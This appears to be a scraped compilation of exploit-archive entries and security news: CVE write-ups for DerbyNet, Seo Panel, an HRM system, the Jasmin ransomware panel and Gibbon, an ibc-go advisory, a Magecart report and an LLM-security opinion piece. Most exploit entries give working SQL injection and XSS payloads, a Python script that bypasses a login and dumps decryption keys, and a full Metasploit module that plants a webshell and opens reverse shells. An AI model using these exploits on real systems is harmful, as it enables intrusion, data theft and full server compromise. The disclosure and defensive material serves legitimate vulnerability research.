DerbyNet 9.0 suffers from a remote SQL injection vulnerability in ajax/query.slide.next.inc.

    CVE ID: CVE-2024-30928Description:An SQL Injection vulnerability has been discovered in DerbyNet version 9.0, particularly within the `ajax/query.slide.next.inc` file. This vulnerability allows remote attackers to execute arbitrary code and disclose sensitive information by exploiting the unvalidated `classids` parameter used in constructing SQL queries. This parameter is not properly sanitized before being included in the SQL statement, leading to a critical risk of SQL Injection.Vulnerability Type: SQL InjectionVendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: ajax/query.slide.next.incAttack Type: RemoteImpacts:- Code execution: True- Information Disclosure: TrueAttack Vectors:The vulnerability is primarily exploited by manipulating the `classids` parameter in the user's request to the `ajax/query.slide.next.inc` file. The lack of adequate input validation allows attackers to inject malicious SQL code through this parameter. Example attack vectors include:- Direct exploitation:- `http://127.0.0.1:8000/action.php?query=slide.next&mode=racer&classids=1`- Boolean-based blind SQL Injection:- Payload: `query=slide.next&mode=racer&classids=1) AND 4365=4365 AND (6880=6880`- UNION query SQL Injection:- Payload: `query=slide.next&mode=racer&classids=-3890) UNION ALL SELECT NULL,NULL,CHAR(113,107,120,122,113)||CHAR(79,97,117,85,112,79,82,85,75,114,65,66,118,100,117,107,79,118,111,104,67,105,87,86,72,110,107,119,113,86,106,107,115,100,110,109,98,77,85,115)||CHAR(113,118,120,120,113),NULL,NULL,NULL,NULL,NULL-- rDzQ`These vectors demonstrate how an attacker could manipulate SQL queries to potentially access or manipulate database information unauthorizedly.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 ajax/query.slide.next.inc SQL Injection

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in playlist.php.

    CVE ID: CVE-2024-30929Description:A Cross-Site Scripting (XSS) vulnerability has been found in DerbyNet version 9.0, affecting the `playlist.php` component. This issue allows remote attackers to execute arbitrary code by exploiting the `back` parameter. The application does not properly sanitize the `back` parameter before it is rendered on the page, thereby allowing the injection and execution of arbitrary JavaScript code.Vulnerability Type: Cross-Site Scripting (XSS)Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: playlist.phpAttack Type: RemoteImpact: Code executionAttack Vectors:The vulnerability can be exploited by crafting a URL that includes malicious JavaScript code as part of the `back` parameter. An example of such a URL is:- http://127.0.0.1:8000/playlist.php?back="><script>alert(1)</script>This example demonstrates how an attacker could inject and execute JavaScript within the context of the webpage, leading to potential security risks such as session hijacking, phishing, or unauthorized actions performed on behalf of the user.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 playlist.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in photo.php.

    CVE ID: CVE-2024-30921Description:A Cross-Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, specifically affecting the photo.php component. This vulnerability allows remote attackers to execute arbitrary code via crafted URLs, without requiring authentication.Vulnerability Type: Cross-Site Scripting (XSS)Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: photo.phpAttack Type: RemoteImpact: Code executionAttack Vectors: The vulnerability can be exploited by navigating to a specially crafted URL such as:- http://127.0.0.1:8000/photo.php/<img src=x onerror=alert(1)>This method allows the attacker to inject arbitrary JavaScript that will be executed in the context of the victim's browser.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 photo.php Cross Site Scripting

Seo Panel version 4.7.0 suffers from a cross site scripting vulnerability.

    # Exploit Title: Seo Panel 4.7.0 Reflected XSS# Exploit Author: Arzu DEMÝREZ# Date: 05.03-2024# Vendor Homepage: https://www.seopanel.org/# Software Link:  https://github.com/seopanel/Seo-Panel/releases/tag/4.7.0# Version: Seo Panel 4.7.0-Description: A cross-site scripting (XSS) issue in the SEO admin login panel version 4.7.0 allows remote attackers to inject JavaScript.- used:x" onmouseover=alert(document.cookie) x="Review Of Analysis:Ýn archive.ctp.php file include search_form and search_name input load on that script at line 71 as<a href="javascript:void(0);" onclick="scriptDoLoadPost('archive.php', 'search_form', 'content')" class="actionbut"><?php echo $spText['button']['Search']?></a>because of that an attacker if send that codex" onmouseover=alert(document.cookie) x="can exploit the victim.<form id='search_form'>    <table width="100%" class="search">        <tr>            <th><?php echo $spText['common']['Name']?>: </th>            <td>                <input type="text" name="search_name" value="<?php echo htmlentities($searchInfo['search_name'], ENT_QUOTES)?>" onblur="<?php echo $submitLink?>">            </td>            <th><?php echo $spText['common']['Period']?>:</th>            <td colspan="2">                <input type="text" value="<?php echo $fromTime?>" name="from_time" id="from_time_summary"/>                <input type="text" value="<?php echo $toTime?>" name="to_time" id="to_time_summary"/>                <script>                  $( function() {                    $( "#from_time_summary, #to_time_summary").datepicker({dateFormat: "yy-mm-dd"});                  } );                </script>            </td>        <tr>        <tr>            <th><?php echo $spText['common']['Website']?>: </th>            <td>                <select name="website_id" id="website_id"  onchange="scriptDoLoadPost('archive.php', 'search_form', 'content')" style="width: 180px;">                    <option value="">-- <?php echo $spText['common']['Select']?> --</option>                    <?php foreach($siteList as $websiteInfo){?>                        <?php if($websiteInfo['id'] == $websiteId){?>                            <option value="<?php echo $websiteInfo['id']?>" selected><?php echo $websiteInfo['name']?></option>                        <?php }else{?>                            <option value="<?php echo $websiteInfo['id']?>"><?php echo $websiteInfo['name']?></option>                        <?php }?>                    <?php }?>                </select>            </td>            <th><?php echo $spText['label']['Report Type']?>: </th>            <td>                <select name="report_type" id="report_type" onchange="scriptDoLoadPost('archive.php', 'search_form', 'content')" style="width: 210px;">                    <option value="">-- <?php echo $spText['common']['Select']?> --</option>                    <?php foreach($reportTypes as $type => $info){?>                        <?php if($type == $searchInfo['report_type']){?>                            <option value="<?php echo $type?>" selected><?php echo $info?></option>                        <?php }else{?>                            <option value="<?php echo $type?>"><?php echo $info?></option>                        <?php }?>                    <?php }?>                </select>                <a href="javascript:void(0);" onclick="scriptDoLoadPost('archive.php', 'search_form', 'content')" class="actionbut"><?php echo $spText['button']['Search']?></a>Saygýlarýmla / Best Regards,[cid:e33e203c-58cd-46ba-b1ea-f27e999dc68d]

Seo Panel 4.7.0 Cross Site Scripting

Human Resource Management System 2024 version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: hrm2024.1.0-Multiple-SQLi## Author: nu11secur1ty## Date: 04/02/2024## Vendor: https://github.com/oretnom23## Software: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The cityedit parameter appears to be vulnerable to SQL injectionattacks. The payload '+(selectload_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+'was submitted in the cityedit parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed.The attacker can get all information from the system by using thisvulnerability!STATUS: HIGH- Vulnerability[+]Payload:```mysql---Parameter: cityedit (GET)    Type: boolean-based blind    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BYor GROUP BY clause    Payload: cityedit=22'+(selectload_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''RLIKE (SELECT (CASE WHEN (1759=1759) THEN 0x3232+(selectload_file(0x5c5c5c5c726a6564686468666a3662336a3175736a30656f696978343376396f786b6c626f7a666d3561752e6f6173746966792e636f6d5c5c656969))+''ELSE 0x28 END)) AND 'GMzs'='GMzs    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: cityedit=22'+(selectload_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''OR (SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x716b787671,(SELECT(ELT(8880=8880,1))),0x7178626271,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'qJHK'='qJHK    Type: time-based blind    Title: MySQL > 5.0.12 AND time-based blind (heavy query)    Payload: cityedit=22'+(selectload_file('\\\\rjedhdhfj6b3j1usj0eoiix43v9oxklbozfm5au.oastify.com\\eii'))+''AND 2124=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A,INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR1) AND 'Jtnd'='Jtnd---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/hrm-2024.1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/04/hrm202410-multiple-sqli.html)## Time spent:01:15:00

Human Resource Management System 2024 1.0 SQL Injection

Jasmin Ransomware version 1.1 suffers from an arbitrary file read vulnerability.

    # Exploit Title: Jasmin Ransomware arbitrary file read# Date: 2024-04-04# Exploit Author: @_chebuya# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware# Version: v1.1# Tested on: Ubuntu 20.04 LTS# CVE: CVE-2024-30851# Description: Jasmin Ransomware panel contains multiple SQL injections and authorization issues, allowing a remote unauthenticated attacker to read arbitrary files off the server and bypass the login# Github: https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc/tree/mainimport requestsimport argparseimport osfrom bs4 import BeautifulSoupdef get_file(jasmin_url, filepath):    response = requests.get(        f'{jasmin_url}/download_file.php?file={filepath}',        allow_redirects=False    )    return response.textdef get_keys(jasmin_url):    headers = {        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',    }    data = "username=&password='+or+1%3D1+--+-&service=login"    login_req = requests.post(f'{jasmin_url}/checklogin.php', headers=headers, data=data)    cookies = login_req.cookies    list_req = requests.get(f'{jasmin_url}/dashboard.php', cookies=cookies)    soup = BeautifulSoup(list_req.text, 'html.parser')    rows = soup.find_all('tr')    print(f"Dumping decryption keys from {len(rows)-1} victims")    for row in rows:        data = row.find_all('td')        if len(data) == 0:            continue                username = data[1].get_text()        hostname = data[0].get_text()        filepath = data[7].find('a')['href'].split("=")[1]        print(f"Decryption key for {username}@{hostname}: {get_file(jasmin_url, filepath)}")parser = argparse.ArgumentParser(description="LFD/SQLi Exploit PoC for Jasmin Ransomware panel")subparser = parser.add_subparsers(dest='subcommand')file_parser = subparser.add_parser("getfile", help="Read a file off the server")file_parser.add_argument("-u", "--url", required=True, help="The jasmin ransomware web panel url (http://target_server)")file_parser.add_argument("-f", "--file", default="c:/xampp/apache/logs/access.log", help="The file to read on the target server") # Default is the access log, deanonymize the operators!keys_parser = subparser.add_parser("getkeys", help="Get decryption keys of victims")keys_parser.add_argument("-u", "--url", required=True, help="The jasmin ransomware web panel url (http://target_server)")args = parser.parse_args()if args.subcommand != None:    target_url = args.url.rstrip("/")if args.subcommand == "getkeys":    get_keys(target_url)elif args.subcommand == "getfile":    target_file = args.file.replace("\\", "/").replace("c:", "")    target_path = os.path.join("../../../../../../../../../", target_file)    print(get_file(target_url, target_path))else:    parser.print_help()

Jasmin Ransomware 1.1 Arbitrary File Read

A remote code execution vulnerability in Gibbon online school platform version 26.0.00 and lower allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a POST request to the endpoint /modules/System%20Admin/import_run.php&type=externalAssessment&step=4. As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands, potentially resulting in complete system compromise, data exfiltration, or unauthorized access to sensitive information.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Gibbon School Platform Authenticated PHP Deserialization Vulnerability',        'Description' => %q{          A Remote Code Execution vulnerability in Gibbon online school platform version 26.0.00 and lower          allows remote authenticated users to conduct PHP deserialization attacks via columnOrder in a          POST request to the endpoint `/modules/System%20Admin/import_run.php&type=externalAssessment&step=4`.          As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,          potentially resulting in complete system compromise, data exfiltration, or unauthorized access          to sensitive information.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor          'Ali Maharramli', # SecondX.io Research Team - discovery of the vulnerability          'Fikrat Guliev', # SecondX.io Research Team - discovery of the vulnerability          'Islam Rzayev' # SecondX.io Research Team - discovery of the vulnerability        ],        'References' => [          ['CVE', '2024-24725'],          ['URL', 'https://attackerkb.com/topics/ogKGAB44BP/cve-2024-24725'],          ['PACKETSTORM', '177635'],          ['EDB', '51903']        ],        'DisclosureDate' => '2024-03-18',        'Platform' => ['php', 'unix', 'linux', 'win'],        'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => false,        'Targets' => [          [            'PHP',            {              'Platform' => ['php'],              'Arch' => ARCH_PHP,              'Type' => :php,              'DefaultOptions' => {                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Unix Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_bash'              }            }          ],          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],              'Linemax' => 16384,              'DefaultOptions' => {                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Platform' => 'win',              'Arch' => ARCH_CMD,              'Type' => :windows_cmd,              'DefaultOptions' => {                'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp'              }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :windows_dropper,              'Linemax' => 16384,              'CmdStagerFlavor' => ['psh_invokewebrequest', 'vbs', 'debug_asm', 'debug_write', 'certutil'],              'DefaultOptions' => {                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'SSL' => true,          'RPORT' => 443        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('TARGETURI', [ true, 'The Gibbon online school platform endpoint URL', '/' ]),      OptString.new('WEBSHELL', [false, 'Set webshell name without extension. Name will be randomly generated if left unset.', nil]),      OptString.new('USERNAME', [true, 'Gibbon username to login, typically an e-mail address']),      OptString.new('PASSWORD', [true, 'Password'])    ])  end  def gibbon_login    # construct multipart login form data    form_data = Rex::MIME::Message.new    form_data.add_part('', nil, nil, 'form-data; name="address"')    form_data.add_part('default', nil, nil, 'form-data; name="method"')    form_data.add_part(datastore['USERNAME'].to_s, nil, nil, 'form-data; name="username"')    form_data.add_part(datastore['PASSWORD'].to_s, nil, nil, 'form-data; name="password"')    form_data.add_part('025', nil, nil, 'form-data; name="gibbonSchoolYearID"')    form_data.add_part('0002', nil, nil, 'form-data; name="gibboni18nID"')    return send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'login.php?timeout=true'),      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })  end  def construct_form_data(payload)    # construct multipart form data with payload    payload_len = payload.length    payload_data = "a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\x00*\x00socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\x00*\x00handler\";r:3;s:13:\"\x00*\x00bufferSize\";i:-1;s:9:\"\x00*\x00buffer\";a:1:{i:0;a:2:{i:0;s:#{payload_len}:\"#{payload}\";s:5:\"level\";N;}}s:8:\"\x00*\x00level\";N;s:14:\"\x00*\x00initialized\";b:1;s:14:\"\x00*\x00bufferLimit\";i:-1;s:13:\"\x00*\x00processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}"    form_data = Rex::MIME::Message.new    form_data.add_part('/modules/System Admin/import_run.php', nil, nil, 'form-data; name="address"')    form_data.add_part('sync', nil, nil, 'form-data; name="mode"')    form_data.add_part('N', nil, nil, 'form-data; name="syncField"')    form_data.add_part('', nil, nil, 'form-data; name="syncColumn"')    form_data.add_part(payload_data.to_s, nil, nil, 'form-data; name="columnOrder"')    form_data.add_part('N;', nil, nil, 'form-data; name="columnText"')    form_data.add_part('%2C', nil, nil, 'form-data; name="fieldDelimiter"')    form_data.add_part('%22', nil, nil, 'form-data; name="stringEnclosure"')    form_data.add_part("#{Rex::Text.rand_text_alpha(8..16)}.xlsx", nil, nil, 'form-data; name="filename"')    form_data.add_part('"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"', nil, nil, 'form-data; name="csvData"')    form_data.add_part('1', nil, nil, 'form-data; name="ignoreErrors"')    form_data.add_part('Submit', nil, nil, 'form-data; name="Failed"')    return form_data  end  def upload_webshell(b64_payload)    # randomize file name if option WEBSHELL is not set    @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : "#{datastore['WEBSHELL']}.php")    # create webshell with base64 encoded PHP payload    # works for both windows and linux targets    php_payload = "echo \"<?php @eval(base64_decode(\'#{b64_payload}\'));?>\" > #{@webshell_name}"    form_data = construct_form_data(php_payload)    # upload webshell    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })  end  def execute_php(cmd, _opts = {})    payload = Base64.strict_encode64(cmd)    res = upload_webshell(payload)    fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200    register_file_for_cleanup(@webshell_name)    # execute webshell    send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, @webshell_name),      'keep_cookies' => true    })  end  def execute_command(cmd, _opts = {})    form_data = construct_form_data(cmd)    send_request_cgi({      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4'),      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",      'data' => form_data.to_s    })  end  def check    print_status("Checking if #{peer} can be exploited.")    res = send_request_cgi!({      'method' => 'GET',      'ctype' => 'application/x-www-form-urlencoded',      'uri' => normalize_uri(target_uri.path)    })    return CheckCode::Unknown('No valid response received from target.') unless res && res.code == 200    # check if target is running the Gibbon online school platform    # search for the Gibbon version on the login page    return CheckCode::Safe('No Gibbon school platform found.') unless res.body.include?('Gibbon')    # trying to get the version    version = res.body.match(/Gibbon.*v(\d+\.\d+\.\d+)/)    version_number = version[0].split('v') unless version.nil?    if version_number      if Rex::Version.new(version_number[1]) <= Rex::Version.new('26.0.00')        return CheckCode::Appears("Gibbon v#{version_number[1]}")      else        return CheckCode::Safe("Gibbon v#{version_number[1]}")      end    end    CheckCode::Detected  end  def exploit    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    res = gibbon_login    fail_with(Failure::NoAccess, "Login failed with user #{datastore['USERNAME']} and password #{datastore['PASSWORD']}.") unless res && res.code == 302    case target['Type']    when :php      execute_php(payload.encoded)    when :unix_cmd, :windows_cmd      execute_command(payload.encoded)    when :linux_dropper, :windows_dropper      # don't check the response here since the server won't respond      # if the payload is successfully executed.      execute_cmdstager({ linemax: target.opts['Linemax'] })    end  endend

Gibbon School Platform 26.0.00 Remote Code Execution

**Name**: ASA-2024-007: Potential Reentrancy using Timeout Callbacks in ibc-hooks
**Component**: ibc-go
**Criticality**: Critical ([ACMv1](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md): I:Critical; L:AlmostCertain)
**Affected versions**: < v4.6.0, < v5.4.0, < v6.3.0, < v7.4.0, < v8.2.0
**Affected users**: Chain Builders + Maintainers

# Summary

Through the deployment and subsequent use of a malicious CosmWasm contract via IBC interactions, an attacker could potentially execute the same `MsgTimeout` inside the IBC hook for the `OnTimeout` callback before the packet commitment is deleted. On chains where ibc-hooks wraps ICS-20, this vulnerability may allow for the logic of the `OnTimeout` callback of the transfer application to be recursively executed, leading to a condition that may present the opportunity for the loss of funds from the escrow account or unexpected minting of tokens.

# Affected Configurations

Chains which satisfy all of the following requirements are considered to be impacted by this vulnerability:
* Chain is IBC-enabled and uses a vulnerable version of ibc-go
* Chain is CosmWasm-enabled and allows code uploads for wasm contracts by anyone, or by authorized parties (to a lesser extent)
* Chain utilizes the ibc-hooks middleware and wraps ICS-20 transfer application

# Next Steps for Impacted Chain Builders and Maintainers

It is advised to immediately upgrade to the latest patch fix version of ibc-go for your chain. If you have already applied a soft-patch through private coordination, we recommend additionally updating to the latest ibc-go version via normal software upgrade governance.

If you have not upgraded your chain yet, and you desire to mitigate exposure to this vulnerability in the meantime, it is advisable to limit code uploading for contracts to trusted parties on your chain.

**If your chain only allows permissioned, access-controlled contract uploads, it is still strongly recommended to update to the latest patched ibc-go version for your chain per your normal software upgrade process.**

# Preparing for future coordination

If your chain would like to be included in future coordination efforts, please ensure your chain has a prominently displayed or otherwise easily available up-to-date email address for technical security contact available. A security.md file in the root of your projects’ code repository should contain this information. Additionally, please test this security contact with an unaffiliated email to ensure it works as expected and can receive emails from outside of your domain.

To ensure that your chain is included in future impact assessments, please keep your chain information up to date in the [Cosmos Chain Registry](https://github.com/cosmos/chain-registry) with code location, network name, and public RPC and API endpoints in the details.

We recommend that all chains configure and practice the use of the [Circuit Breaker module](https://docs.cosmos.network/main/build/modules/circuit) in the Cosmos SDK, as future vulnerability notifications may require the use of this mechanism as a mitigation against exploitation.

# Recognition

This issue was reported to the Cosmos Bug Bounty Program on HackerOne on 3/26/24 by Maxwell Dulin (Strikeout) at [Asymmetric Research](https://www.asymmetric.re/). If you believe you have found a bug in the Interchain Stack or would like to contribute to the program by reporting a bug, please see https://hackerone.com/cosmos.

# Notes

Due to the critical nature of this issue, both the ibc-go team and Amulet independently performed impact assessments for the ecosystem, which informed a risk-driven private patching effort that preceded this public release. This private patching effort significantly reduced the exposure of the ecosystem to this vulnerability. We appreciate the diligence and professionalism of all chains and validators involved with this effort – your ability to move quickly while maintaining confidentiality was instrumental in protecting the wider Interchain Ecosystem. 

If you ever have questions about security coordination efforts, public or private, please reach out to our official communication channel at [security@interchain.io](mailto:security@interchain.io).

For more information about ibc-go, please see https://ibc.cosmos.network/main.

For more information about the Interchain Foundation’s engagement with Amulet, please see https://github.com/interchainio/security.



**Name**: ASA-2024-007: Potential Reentrancy using Timeout Callbacks in ibc-hooks  
**Component**: ibc-go  
**Criticality**: Critical (ACMv1: I:Critical; L:AlmostCertain)  
**Affected versions**: < v4.6.0, < v5.4.0, < v6.3.0, < v7.4.0, < v8.2.0  
**Affected users**: Chain Builders + Maintainers

**Summary**

Through the deployment and subsequent use of a malicious CosmWasm contract via IBC interactions, an attacker could potentially execute the same MsgTimeout inside the IBC hook for the OnTimeout callback before the packet commitment is deleted. On chains where ibc-hooks wraps ICS-20, this vulnerability may allow for the logic of the OnTimeout callback of the transfer application to be recursively executed, leading to a condition that may present the opportunity for the loss of funds from the escrow account or unexpected minting of tokens.

**Affected Configurations**

Chains which satisfy all of the following requirements are considered to be impacted by this vulnerability:

*   Chain is IBC-enabled and uses a vulnerable version of ibc-go
*   Chain is CosmWasm-enabled and allows code uploads for wasm contracts by anyone, or by authorized parties (to a lesser extent)
*   Chain utilizes the ibc-hooks middleware and wraps ICS-20 transfer application

**Next Steps for Impacted Chain Builders and Maintainers**

It is advised to immediately upgrade to the latest patch fix version of ibc-go for your chain. If you have already applied a soft-patch through private coordination, we recommend additionally updating to the latest ibc-go version via normal software upgrade governance.

If you have not upgraded your chain yet, and you desire to mitigate exposure to this vulnerability in the meantime, it is advisable to limit code uploading for contracts to trusted parties on your chain.

**If your chain only allows permissioned, access-controlled contract uploads, it is still strongly recommended to update to the latest patched ibc-go version for your chain per your normal software upgrade process.**

**Preparing for future coordination**

If your chain would like to be included in future coordination efforts, please ensure your chain has a prominently displayed or otherwise easily available up-to-date email address for technical security contact available. A security.md file in the root of your projects’ code repository should contain this information. Additionally, please test this security contact with an unaffiliated email to ensure it works as expected and can receive emails from outside of your domain.

To ensure that your chain is included in future impact assessments, please keep your chain information up to date in the Cosmos Chain Registry with code location, network name, and public RPC and API endpoints in the details.

We recommend that all chains configure and practice the use of the Circuit Breaker module in the Cosmos SDK, as future vulnerability notifications may require the use of this mechanism as a mitigation against exploitation.

**Recognition**

This issue was reported to the Cosmos Bug Bounty Program on HackerOne on 3/26/24 by Maxwell Dulin (Strikeout) at Asymmetric Research. If you believe you have found a bug in the Interchain Stack or would like to contribute to the program by reporting a bug, please see https://hackerone.com/cosmos.

**Notes**

Due to the critical nature of this issue, both the ibc-go team and Amulet independently performed impact assessments for the ecosystem, which informed a risk-driven private patching effort that preceded this public release. This private patching effort significantly reduced the exposure of the ecosystem to this vulnerability. We appreciate the diligence and professionalism of all chains and validators involved with this effort – your ability to move quickly while maintaining confidentiality was instrumental in protecting the wider Interchain Ecosystem.

If you ever have questions about security coordination efforts, public or private, please reach out to our official communication channel at security@interchain.io.

For more information about ibc-go, please see https://ibc.cosmos.network/main.

For more information about the Interchain Foundation’s engagement with Amulet, please see https://github.com/interchainio/security.

**References**

*   GHSA-j496-crgh-34mx
*   cosmos/ibc-go@04275aa
*   cosmos/ibc-go@278fa89
*   cosmos/ibc-go@5e2e9eb
*   cosmos/ibc-go@a0185df
*   cosmos/ibc-go@e78b3a2

GHSA-j496-crgh-34mx: ibc-go: Potential Reentrancy using Timeout Callbacks in ibc-hooks

The infamous payment-skimmer cybercrime organization is exploiting CVE-2024-20720 in Magento for a novel approach to stealing card data.

Source: Tawan Chaisom via Alamy Stock Photo

Magecart attackers have a new trick: Stashing persistent backdoors within e-commerce websites that are capable of pushing malware automatically.

According to researchers at Sansec, the threat actors are exploiting a critical command injection vulnerability in the Adobe Magento e-commerce platform (CVE-2024-20720, CVSS score of 9.1), which allows arbitrary code execution without user interaction.

The executed code is a "cleverly crafted layout template" in the layout\_update database table, which contains XML shell code that automatically injects malware into compromised sites via the controller for the Magento content management system (CMS).

"Attackers combine the Magento layout parser with the beberlei/assert package (installed by default) to execute system commands," Sansec said in an alert. "Because the layout block is tied to the checkout cart, this command is executed whenever <store>/checkout/cart is requested."

Sansec observed Magecart (a long-running umbrella organization for cybercrime groups that skim payment card data from e-commerce sites) using this technique to inject a Stripe payment skimmer, which captures and exfiltrates payment data to an attacker-controlled site.

Adobe resolved the security bug in February in both Adobe Commerce and Magento, so e-tailers should upgrade their versions to 2.4.6-p4, 2.4.5-p6, or 2.4.4-p7 to be protected from the threat.

**About the Author(s)**

Magecart Attackers Pioneer Persistent E-Commerce Backdoor

Large language models require rethinking how to bake security into the software development process earlier.

Large language models require rethinking how to bake security into the software development process earlier.

Source: Chroma Craft Media Group via Alamy Stock Photo

Question: What do we really know about large language model (LLM) security? And are we willingly opening the front door to chaos by using LLMs in business?

Rob Gurzeev, CEO, CyCognito: Picture it: Your engineering team is harnessing the immense capabilities of LLMs to "write code" and rapidly develop an application. It's a game-changer for your businesses; development speeds are now orders of magnitude faster. You've shaved 30% off time-to-market. It's win-win — for your org, your stakeholders, your end users.

Six months later, your application is reported to leak customer data; it has been jailbroken and its code manipulated. You're now facing SEC violations and the threat of customers walking away.

Efficiency gains are enticing, but the risks cannot be ignored. While we have well-established standards for security in traditional software development, LLMs are black boxes that require rethinking how we bake in security.

**New Kinds of Security Risks for LLMs**

LLMs are rife with unknown risks and prone to attacks previously unseen in traditional software development.

*   Prompt injection attacks involve manipulating the model to generate unintended or harmful responses. Here, the attacker strategically formulates prompts to deceive the LLM, potentially bypassing security measures or ethical constraints put in place to ensure responsible use of the artificial intelligence (AI). As a result, the LLM's responses can deviate significantly from the intended or expected behavior, posing serious risks to privacy, security, and the reliability of AI-driven applications.
    
*   Insecure output handling arises when the output generated by an LLM or similar AI system is accepted and incorporated into a software application or Web service without undergoing adequate scrutiny or validation. This can expose back-end systems to vulnerabilities, such as cross-site scripting (XSS), cross-site request forgery (CSRF), server-side request forgery (SSRF), privilege escalation, and remote code execution (RCE).
    
*   Training data poisoning occurs when the data used to train an LLM is deliberately manipulated or contaminated with malicious or biased information. The process of training data poisoning typically involves the injection of deceptive, misleading, or harmful data points into the training dataset. These manipulated data instances are strategically chosen to exploit vulnerabilities in the model's learning algorithms or to instill biases that may lead to undesired outcomes in the model's predictions and responses.
    

**A Blueprint for Protection and Control of LLM Applications**

While some of this is new territory, there are best practices you can implement to limit exposure.

*   Input sanitization involves, as the name suggestion, the sanitization of inputs to prevent unauthorized actions and data requests initiated by malicious prompts. The first step is input validation to ensure input adheres to expected formats and data types. The next is input sanitization, where potentially harmful characters or code are removed or encoded to thwart attacks. Other tactics include whitelists of approved content, blacklists of forbidden content, parameterized queries for database interactions, content security policies, regular expressions, logging, and continuous monitoring, as well as security updates and testing.
    
